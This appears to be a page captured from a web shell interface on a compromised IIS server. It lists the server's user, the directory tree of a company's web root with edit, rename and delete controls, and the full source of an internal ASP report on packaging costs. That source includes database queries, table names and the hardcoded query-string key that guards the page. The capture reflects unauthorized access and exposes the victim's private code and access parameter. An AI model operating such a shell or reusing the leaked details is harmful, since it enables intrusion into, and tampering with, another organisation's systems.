Webshell Akmal archtte id
System:
Microsoft Windows NT 10.0.20348.0
Server:
Microsoft-IIS/10.0
User:
buyyou
Directory:
C:
\
MyData
\
WWW
\
asc365
\
Name
Size
Type
Actions
ASC365_CANADA
-
Directory
Rename
Delete
ASC365_Store01
-
Directory
Rename
Delete
aspnet_client
-
Directory
Rename
Delete
CompanyImage
-
Directory
Rename
Delete
TJGS_USA
-
Directory
Rename
Delete
zhijian
-
Directory
Rename
Delete
Memo.inc
0 bytes
.inc
Edit
Rename
Delete
web.config
213 bytes
.config
Edit
Rename
Delete
<!--#include file="include/conn.asp" --> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="robots" content="noindex,nofollow"> <script type="text/javascript" src="js/echarts.min.js" charset="utf-8"></script> <script type="text/javascript" src="http://code.jquery.com/jquery-1.12.2.js"></script> <title>ASC国际公司</title> <style> table{ border: solid 1px #000000; } table tr td{ border-Bottom: dotted 1px #000000; border-top: dotted 1px #000000; border-right: dotted 1px #000000; border-left-width:1px; border-left-color:#000000; } .box{ border-left-width:3px; border-left-color:#FF0000; border-Bottom: dotted 1px #000000; border-top: dotted 1px #000000; border-right: dotted 1px #000000; } </style> </head> <body style="text-align:center; margin:0 auto;"> <% flgRead = Request.Querystring("arg") if flgRead <> "Asc365NewSys" then response.end namearg2 = Request.Querystring("arg2") '人名 '| | | | 数据 | 环比增加额 | 环比增长率 | 去年同期数据 | 同比增加额 | 同比增长率 | '| 木箱 | 速麦国际 | 数量 | | | | | | | '| | | 金额 | | | | | | | '| | | 平均单价 | | | | | | | '| | 通拓 | 数量 | | | | | | | '| | | 金额 | | | | | | | '| | | 平均单价 | | | | | | | '| | 亚逊 | 数量 | | | | | | | '| | | 金额 | | | | | | | '| | | 平均单价 | | | | | | | '| | 合计 | 数量 | | | | | | | '| | | 金额 | | | | | | | '| | | 平均单价 | | | | | | | '| 纸箱 | 速麦国际 | 数量 | | | | | | | '| | | 金额 | | | | | | | '| | | 平均单价 | | | | | | | '| | 通拓 | 数量 | | | | | | | '| | | 金额 | | | | | | | '| | | 平均单价 | | | | | | | '| | 亚逊 | 数量 | | | | | | | '| | | 金额 | | | | | | | '| | | 平均单价 | | | | | | | '| | 合计 | 数量 | | | | | | | '| | | 金额 | | | | | | | '| | | 平均单价 | | | | | | | '| 托盘 | 合计 | 数量 | | | | | | | '| | | 金额 | | | | | | | '| | | 平均单价 | | | | | | | '| 其他 | 速麦国际 | 数量 | | | | | | | '| | | 金额 | | | | | | | '| | | 平均单价 | | | | | | | '| | 通拓 | 数量 | | | | | | | '| | | 金额 | | | | | | | '| | | 平均单价 | | | | | | | '| | 亚逊 | 数量 | | | | | | | '| | | 金额 | | | | | | | '| | | 平均单价 | | | | | | | '| | 合计 | 数量 | | | | | | | '| | | 金额 | | | | | | | '| | | 平均单价 | | | | | | | '| 合计 | 速麦国际 | 数量 | | | | | | | '| | | 金额 | | | | | | | '| | | 平均单价 | | | | | | | '| | 通拓 | 数量 | | | | | | | '| | | 金额 | | | | | | | '| | | 平均单价 | | | | | | | '| | 亚逊 | 数量 | | | | | | | '| | | 金额 | | | | | | | '| | | 平均单价 | | | | | | | '| | 合计 | 数量 | | | | | | | '| | | 金额 | | | | | | | '| | | 平均单价 | | | | | | | dim DispData(51,10000) DispData(0,0) = "木箱" DispData(0,1) = "通拓公司" DispData(3,1) = "亚逊公司" DispData(6,1) = "速麦国际" DispData(9,1) = "合计" DispData(10,1) = "合计" DispData(11,1) = "合计" sql = "select a.opdt,b.fgs,coalesce(c.cnt,0) as cnt,coalesce(c.total,0) as total,cast((case when cnt is null or cnt = 0 then 0 else total /cnt end) as decimal(15,2)) as avgprice from ( select opdt from cw_huilv where opdt >= '2018-01-01' ) a cross join ( Select '通拓公司' as fgs union select '速麦国际' as fgs union select '亚逊公司' as fgs) b left join (select cast(cast(yy as varchar)+ '-' + cast(mm as varchar) + '-01' as date) as yf, yy, mm,fgs,sum(total) as total,sum(cnt) as cnt from ( Select b.empcode,year(b.opdt) as yy,month(b.opdt) as mm,coalesce((Select DISPVALUE from om_commparm where fldname = 'planorg' and PARMVALUE = (select right(orgcode,2) from om_employee where empcode = b.empcode)),(case empcode when '020' then '速麦国际' when '104' then '通拓公司' when '132' then '通拓公司' end)) as fgs,UNITPRICE*PACKACTAMT as total,PACKACTAMT as cnt from bu_packreqlist a,bu_packreq b where a.PURORDERNO = b.PURORDERNO and b.status = 9 and (year(b.opdt) >= 2018) and a.packtyp = '01') ss group by yy,mm,fgs)c on c.yf = a.opdt and c.fgs = b.fgs order by a.opdt desc,b.fgs" 'opdt fgs cnt total avgprice 木箱 Set cmd = server.CreateObject("ADODB.Command") cmd.ActiveConnection = conn cmd.CommandTimeout = 600 '修改此处的延时试试 cmd.CommandType = 1 cmd.CommandText = sql set rs=cmd.Execute() id_cnt = 0 do while not rs.eof if rs(1) = "通拓公司" then DispData(0,int(id_cnt/3)+2) = rs(2) ' 数量 DispData(1,int(id_cnt/3)+2) = rs(3) ' 金额 DispData(2,int(id_cnt/3)+2) = rs(4) ' 单价 end if if rs(1) = "亚逊公司" then DispData(3,int(id_cnt/3)+2) = rs(2) ' 数量 DispData(4,int(id_cnt/3)+2) = rs(3) ' 金额 DispData(5,int(id_cnt/3)+2) = rs(4) ' 单价 end if if rs(1) = "速麦国际" then DispData(6,int(id_cnt/3)+2) = rs(2) ' 数量 DispData(7,int(id_cnt/3)+2) = rs(3) ' 金额 DispData(8,int(id_cnt/3)+2) = rs(4) ' 单价 end if DispData(9,int(id_cnt/3)+2) = DispData(9,int(id_cnt/3)+2) *1 + 1*round(rs(2),0) ' 数量 DispData(10,int(id_cnt/3)+2) = DispData(10,int(id_cnt/3)+2)*1 + 1*round(rs(3),2) ' 金额 id_cnt = id_cnt + 1 rs.movenext loop rs.close for ii = 2 to id_cnt if DispData(9,ii) = 0 then DispData(11,ii) = 0 else DispData(11,ii) = round(DispData(10,ii) /DispData(9,ii),2) ' 单价 end if next DispData(12,0) = "纸箱（含加厚5层纸箱、加厚7层纸箱）" DispData(12,1) = "通拓公司" DispData(15,1) = "亚逊公司" DispData(18,1) = "速麦国际" DispData(21,1) = "合计" DispData(22,1) = "合计" DispData(23,1) = "合计" sql = "select a.opdt,b.fgs,coalesce(c.cnt,0) as cnt,coalesce(c.total,0) as total,cast((case when cnt is null or cnt = 0 then 0 else total /cnt end) as decimal(15,2)) as avgprice from ( select opdt from cw_huilv where opdt >= '2018-01-01' ) a cross join ( Select '通拓公司' as fgs union select '速麦国际' as fgs union select '亚逊公司' as fgs) b left join (select cast(cast(yy as varchar)+ '-' + cast(mm as varchar) + '-01' as date) as yf, yy, mm,fgs,sum(total) as total,sum(cnt) as cnt from ( Select b.empcode,year(b.opdt) as yy,month(b.opdt) as mm,coalesce((Select DISPVALUE from om_commparm where fldname = 'planorg' and PARMVALUE = (select right(orgcode,2) from om_employee where empcode = b.empcode)),(case empcode when '020' then '速麦国际' when '104' then '通拓公司' when '132' then '通拓公司' end)) as fgs,UNITPRICE*PACKACTAMT as total,PACKACTAMT as cnt from bu_packreqlist a,bu_packreq b where a.PURORDERNO = b.PURORDERNO and b.status = 9 and (year(b.opdt) >= 2018) and a.packtyp in ('02','07','08')) ss group by yy,mm,fgs)c on c.yf = a.opdt and c.fgs = b.fgs order by a.opdt desc,b.fgs" 'opdt fgs cnt total avgprice 木箱 Set cmd = server.CreateObject("ADODB.Command") cmd.ActiveConnection = conn cmd.CommandTimeout = 600 '修改此处的延时试试 cmd.CommandType = 1 cmd.CommandText = sql set rs=cmd.Execute() id_cnt = 0 do while not rs.eof if rs(1) = "通拓公司" then DispData(12,int(id_cnt/3)+2) = rs(2) ' 数量 DispData(13,int(id_cnt/3)+2) = rs(3) ' 金额 DispData(14,int(id_cnt/3)+2) = rs(4) ' 单价 end if if rs(1) = "亚逊公司" then DispData(15,int(id_cnt/3)+2) = rs(2) ' 数量 DispData(16,int(id_cnt/3)+2) = rs(3) ' 金额 DispData(17,int(id_cnt/3)+2) = rs(4) ' 单价 end if if rs(1) = "速麦国际" then DispData(18,int(id_cnt/3)+2) = rs(2) ' 数量 DispData(19,int(id_cnt/3)+2) = rs(3) ' 金额 DispData(20,int(id_cnt/3)+2) = rs(4) ' 单价 end if DispData(21,int(id_cnt/3)+2) = DispData(21,int(id_cnt/3)+2) *1 + 1*round(rs(2),0) ' 数量 DispData(22,int(id_cnt/3)+2) = DispData(22,int(id_cnt/3)+2)*1 + 1*round(rs(3),2) ' 金额 id_cnt = id_cnt + 1 rs.movenext loop rs.close for ii = 2 to id_cnt if DispData(21,ii) = 0 then DispData(23,ii) = 0 else DispData(23,ii) = round(DispData(22,ii) /DispData(21,ii),2) ' 单价 end if next DispData(24,0) = "托盘" DispData(24,1) = "合计" DispData(25,1) = "合计" DispData(26,1) = "合计" sql = "select a.opdt,b.fgs,coalesce(c.cnt,0) as cnt,coalesce(c.total,0) as total, cast((case when cnt is null or cnt = 0 then 0 else total /cnt end) as decimal(15,2)) as avgprice from ( select opdt from cw_huilv where opdt >= '2018-01-01' ) a cross join ( Select '合计' as fgs) b left join (select cast(cast(yy as varchar)+ '-' + cast(mm as varchar) + '-01' as date) as yf, yy, mm,fgs,sum(total) as total,sum(cnt) as cnt from ( Select b.empcode,year(b.opdt) as yy,month(b.opdt) as mm,'合计' as fgs,UNITPRICE*PACKACTAMT as total,PACKACTAMT as cnt from bu_packreqlist a,bu_packreq b where a.PURORDERNO = b.PURORDERNO and b.status = 9 and (year(b.opdt) >= 2018) and a.packtyp = '03') ss group by yy,mm,fgs)c on c.yf = a.opdt and c.fgs = b.fgs order by a.opdt desc,b.fgs" 'opdt fgs cnt total avgprice 木箱 Set cmd = server.CreateObject("ADODB.Command") cmd.ActiveConnection = conn cmd.CommandTimeout = 600 '修改此处的延时试试 cmd.CommandType = 1 cmd.CommandText = sql set rs=cmd.Execute() id_cnt = 0 do while not rs.eof DispData(24,int(id_cnt/3)+2) = rs(2) ' 数量 DispData(25,int(id_cnt/3)+2) = rs(3) ' 金额 DispData(26,int(id_cnt/3)+2) = rs(4) ' 单价 id_cnt = id_cnt + 1 rs.movenext loop rs.close DispData(27,0) = "其他" DispData(27,1) = "通拓公司" DispData(30,1) = "亚逊公司" DispData(33,1) = "速麦国际" DispData(36,1) = "合计" DispData(37,1) = "合计" DispData(38,1) = "合计" sql = "select a.opdt,b.fgs,coalesce(c.cnt,0) as cnt,coalesce(c.total,0) as total,cast((case when cnt is null or cnt = 0 then 0 else total /cnt end) as decimal(15,2)) as avgprice from ( select opdt from cw_huilv where opdt >= '2018-01-01' ) a cross join ( Select '通拓公司' as fgs union select '速麦国际' as fgs union select '亚逊公司' as fgs) b left join (select cast(cast(yy as varchar)+ '-' + cast(mm as varchar) + '-01' as date) as yf, yy, mm,fgs,sum(total) as total,sum(cnt) as cnt from ( Select b.empcode,year(b.opdt) as yy,month(b.opdt) as mm,coalesce((Select DISPVALUE from om_commparm where fldname = 'planorg' and PARMVALUE = (select right(orgcode,2) from om_employee where empcode = b.empcode)),(case empcode when '020' then '速麦国际' when '104' then '通拓公司' when '132' then '通拓公司' end)) as fgs,UNITPRICE*PACKACTAMT as total,PACKACTAMT as cnt from bu_packreqlist a,bu_packreq b where a.PURORDERNO = b.PURORDERNO and b.status = 9 and (year(b.opdt) >= 2018) and a.packtyp not in ('01','02','03','07','08')) ss group by yy,mm,fgs)c on c.yf = a.opdt and c.fgs = b.fgs order by a.opdt desc,b.fgs" 'opdt fgs cnt total avgprice 木箱 Set cmd = server.CreateObject("ADODB.Command") cmd.ActiveConnection = conn cmd.CommandTimeout = 600 '修改此处的延时试试 cmd.CommandType = 1 cmd.CommandText = sql set rs=cmd.Execute() id_cnt = 0 do while not rs.eof if rs(1) = "通拓公司" then DispData(27,int(id_cnt/3)+2) = rs(2) ' 数量 DispData(28,int(id_cnt/3)+2) = rs(3) ' 金额 DispData(29,int(id_cnt/3)+2) = rs(4) ' 单价 end if if rs(1) = "亚逊公司" then DispData(30,int(id_cnt/3)+2) = rs(2) ' 数量 DispData(31,int(id_cnt/3)+2) = rs(3) ' 金额 DispData(32,int(id_cnt/3)+2) = rs(4) ' 单价 end if if rs(1) = "速麦国际" then DispData(33,int(id_cnt/3)+2) = rs(2) ' 数量 DispData(34,int(id_cnt/3)+2) = rs(3) ' 金额 DispData(35,int(id_cnt/3)+2) = rs(4) ' 单价 end if DispData(36,int(id_cnt/3)+2) = DispData(36,int(id_cnt/3)+2) *1 + 1*round(rs(2),0) ' 数量 DispData(37,int(id_cnt/3)+2) = DispData(37,int(id_cnt/3)+2)*1 + 1*round(rs(3),2) ' 金额 id_cnt = id_cnt + 1 rs.movenext loop rs.close for ii = 2 to id_cnt if DispData(36,ii) = 0 then DispData(38,ii) = 0 else DispData(38,ii) = round(DispData(37,ii) /DispData(36,ii),2) ' 单价 end if next '合计数据计算 DispData(39,0) = "合计" DispData(39,1) = "通拓公司(不含托盘)" DispData(40,1) = "亚逊公司(不含托盘)" DispData(41,1) = "速麦国际(不含托盘)" DispData(42,1) = "合计" DispData(49,1) = "合计" DispData(50,1) = "合计" for i = 2 to id_cnt-1 ''DispData(39,i) = DispData(0,i) + DispData(12,i) + DispData(27,i) 'DispData(40,i) = round(DispData(1,i),2) + round(DispData(13,i),2) + round(DispData(28,i),2) ''if DispData(39,i) <> 0 then '' DispData(41,i) = round(DispData(40,i)/DispData(39,i),2) ''else '' DispData(41,i) = 0 ''end if ''DispData(42,i) = DispData(3,i) + DispData(15,i) + DispData(30,i) 'DispData(43,i) = round(DispData(4,i),2) + round(DispData(16,i),2) + round(DispData(31,i),2) ''if DispData(42,i) <> 0 then '' DispData(44,i) = round(DispData(43,i)/DispData(42,i),2) ''else '' DispData(44,i) = 0 ''end if ''DispData(45,i) = DispData(6,i) + DispData(18,i) + DispData(33,i) 'DispData(46,i) = round(DispData(7,i),2) + round(DispData(19,i),2) + round(DispData(34,i),2) ''if DispData(45,i) <> 0 then '' DispData(47,i) = round(DispData(46,i)/DispData(45,i),2) ''else '' DispData(47,i) = 0 ''end if '''合计 - 合计 ''DispData(48,i) = DispData(39,i) + DispData(42,i) + DispData(45,i) + DispData(24,i) 'DispData(49,i) = round(DispData(40,i),2) + round(DispData(43,i),2) + round(DispData(46,i),2) + round(DispData(25,i),2) ''if DispData(48,i) <> 0 then '' DispData(50,i) = round(DispData(49,i)/DispData(48,i),2) ''else '' DispData(50,i) = 0 ''end if DispData(39,i) = round(DispData(1,i),2) + round(DispData(13,i),2) + round(DispData(28,i),2) DispData(40,i) = round(DispData(4,i),2) + round(DispData(16,i),2) + round(DispData(31,i),2) DispData(41,i) = round(DispData(7,i),2) + round(DispData(19,i),2) + round(DispData(34,i),2) DispData(42,i) = round(DispData(39,i),2) + round(DispData(40,i),2) + round(DispData(41,i),2) + round(DispData(25,i),2) next for i = 0 to 42 for j = 1 to month(date()) if i mod 3 = 2 and i < 39 then if DispData(i-2,9999) = 0 then DispData(i,9999) = 0 else DispData(i,9999) = round(round(DispData(i-1,9999),2)/round(DispData(i-2,9999),2),2) end if else DispData(i,9999) = DispData(i,9999) + round(DispData(i,j+1),2) end if next next cnt_col = id_cnt/3 conn.close set conn = nothing '| | | | 数据 | 环比增加额 | 环比增长率 | 去年同期数据 | 同比增加额 | 同比增长率 | %> </div> <div id="dianpuuprate" align="center"> <table border="1" cellpadding="0" cellspacing="0" style="table-layout:fixed;"> <tr bgcolor="#CCCCCC"> <th nowrap rowspan="2">类型</th> <th nowrap rowspan="2">分公司</th> <th nowrap rowspan="2">数据类别</th> <th nowrap height="32" colspan="1" scope="col" class="box"><div align="center"><%=year(date())%>年</div></th> <%for ii = 0 to 12-1%> <th nowrap height="16" colspan="6" scope="col" class="box"><%=year(DateAdd("m",-1*ii,date()))%>年<%=month(DateAdd("m",-1*ii,date()))%>月</th> <%next%> </tr> <tr bgcolor="#CCCCCC"> <th nowrap height="16" scope="col" class="box">数据</th> <%for ii = 0 to 12-1%> <th nowrap height="16" scope="col" class="box">数据</th> <th>环比增加额</th> <th>环比增长率</th> <th>去年同期数据</th> <th>同比增加额</th> <th>同比增长率</th> <%next%> </tr> <%for ii = 0 to 39-1%> <tr align="right" <%if DispData(ii,1) = "合计" then%> bgcolor="#99ffff" <%else if ii mod 3 = 2 then%> bgcolor="#EEE" <%else%> bgcolor="#FFF" <%end if%><%end if%>> <%if ii = 0 or ii = 12 or ii = 27 or ii = 39 then%> <td rowspan="12"><%=DispData(ii,0)%></td> <%end if%> <%if ii = 24 then%> <td rowspan="3"><%=DispData(ii,0)%></td> <%end if%> <%if ii mod 3 = 0 then%> <td rowspan="3"><%=DispData(ii,1)%></td> <%end if%> <td> <%if ii mod 3 = 0 then%> 数量 <%end if%> <%if ii mod 3 = 1 then%> 金额 <%end if%> <%if ii mod 3 = 2 then%> 单价 <%end if%> </td> <td class="box"><%if round(DispData(ii,9999),2) <>0 then%><%=DispData(ii,9999)%><%end if%></td> <%for jj = 0 to 12-1 curid = jj+2%> <td class="box"><%if round(DispData(ii,curid),2) <>0 then%><%=DispData(ii,curid)%><%end if%></td> <td><%if round(round(DispData(ii,curid),2)-round(DispData(ii,curid+1),2),2) <>0 then%><%=round(round(DispData(ii,curid),2)-round(DispData(ii,curid+1),2),2)%><%end if%></td> <td><%if round(DispData(ii,curid+1),2) =0 and round(DispData(ii,curid),2)>0 then %>100.00%<%else if round(DispData(ii,curid+1),2)>0 then%><%=round((round(DispData(ii,curid),2)-round(DispData(ii,curid+1),2))/round(DispData(ii,curid+1),2)*100,2)%>%<%end if%><%end if%></td> <td><%if round(DispData(ii,curid+12),2)<>0 then%><%=DispData(ii,curid+12)%><%end if%></td> <td><%if round(round(DispData(ii,curid),2)-round(DispData(ii,curid+12),2),2) <>0 then%><%=round(round(DispData(ii,curid),2)-round(DispData(ii,curid+12),2),2)%><%end if%></td> <td><%if round(DispData(ii,curid+12),2) =0 and round(DispData(ii,curid),2)>0 then %>100.00%<%else if round(DispData(ii,curid+12),2)>0 then%><%=round((round(DispData(ii,curid),2)-round(DispData(ii,curid+12),2))/round(DispData(ii,curid+12),2)*100,2)%>%<%end if%><%end if%></td> <%next%> </tr> <%next%> <%for ii = 39 to 42%> <tr align="right" bgcolor="#99ffff" > <%if ii = 39 then%> <td rowspan="4"><%=DispData(ii,0)%></td> <%end if%> <td rowspan="1"><%=DispData(ii,1)%></td> <td> 金额 </td> <td class="box"><%if round(DispData(ii,9999),2) <>0 then%><%=DispData(ii,9999)%><%end if%></td> <%for jj = 0 to 12-1 curid = jj+2%> <td class="box"><%if round(DispData(ii,curid),2) <>0 then%><%=DispData(ii,curid)%><%end if%></td> <td><%if round(round(DispData(ii,curid),2)-round(DispData(ii,curid+1),2),2) <>0 then%><%=round(round(DispData(ii,curid),2)-round(DispData(ii,curid+1),2),2)%><%end if%></td> <td><%if round(DispData(ii,curid+1),2) =0 and round(DispData(ii,curid),2)>0 then %>100.00%<%else if round(DispData(ii,curid+1),2)>0 then%><%=round((round(DispData(ii,curid),2)-round(DispData(ii,curid+1),2))/round(DispData(ii,curid+1),2)*100,2)%>%<%end if%><%end if%></td> <td><%if round(DispData(ii,curid+12),2)<>0 then%><%=DispData(ii,curid+12)%><%end if%></td> <td><%if round(round(DispData(ii,curid),2)-round(DispData(ii,curid+12),2),2) <>0 then%><%=round(round(DispData(ii,curid),2)-round(DispData(ii,curid+12),2),2)%><%end if%></td> <td><%if round(DispData(ii,curid+12),2) =0 and round(DispData(ii,curid),2)>0 then %>100.00%<%else if round(DispData(ii,curid+12),2)>0 then%><%=round((round(DispData(ii,curid),2)-round(DispData(ii,curid+12),2))/round(DispData(ii,curid+12),2)*100,2)%>%<%end if%><%end if%></td> <%next%> </tr> <%next%> </table> </div> </body> </html>